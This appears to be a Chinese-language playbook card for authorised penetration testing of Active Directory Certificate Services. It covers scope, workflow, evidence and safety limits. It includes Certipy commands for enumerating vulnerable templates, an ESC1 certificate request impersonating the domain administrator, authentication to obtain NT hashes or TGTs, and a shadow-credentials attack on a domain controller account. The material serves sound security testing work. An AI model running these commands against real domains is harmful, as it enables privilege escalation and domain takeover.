用途：在授权渗透测试中围绕 Active Directory 证书服务（AD CS）开展分析，用于理解基于证书的权限路径或注册环节的弱点。主要阶段为漏洞分析，次要阶段包括威胁建模与测试规划、复测与闭环。适用场景包括：枚举证书模板或注册服务；评估 AD CS 是否引入实际可用的权限提升路径；复测某证书相关弱点是否已被消除。不适用场景：AD CS 不在测试范围内；或注册与证书滥用会超出已批准的影响级别。
输入要求：经批准的域、域控与凭证上下文；明确目标，如模板审查或注册路径验证。
使用方式：先做枚举与模板审查；只识别对权限或认证有实质影响的证书路径；将结果与目录关系及业务影响关联；仅在明确批准时升级到受控验证；保留完全一致的枚举范围以便复测。
命令示例（示例域与凭证需替换为已批准的在范围取值）： 枚举证书模板与 AD CS：certipy find -u 'auditor@contoso.com' -p '<password>' -dc-ip 10.10.10.10 -stdout 仅查找已启用且存在漏洞的模板：certipy find -u 'auditor@contoso.com' -p '<password>' -dc-ip 10.10.10.10 -enabled -vulnerable ESC1 场景为不同 UPN 申请证书：certipy req -u 'auditor@contoso.com' -p '<password>' -dc-ip 10.10.10.10 -ca contoso-CA -template UserTemplate -upn administrator@contoso.com 使用 .pfx 证书认证（获取 NT 哈希或 TGT）：certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 影子凭证攻击：certipy shadow auto -u 'auditor@contoso.com' -p '<password>' -account dc01$ -dc-ip 10.10.10.10
需记录的证据：产生实质风险的证书模板或服务；与特定身份或组关联的注册路径；枚举时使用的确切域与凭证上下文。
安全边界：除非明确批准更深入验证，否则仅停留在枚举；证书与密钥材料应作为敏感证据处理。安装方式、版本要求与收费信息暂未提供。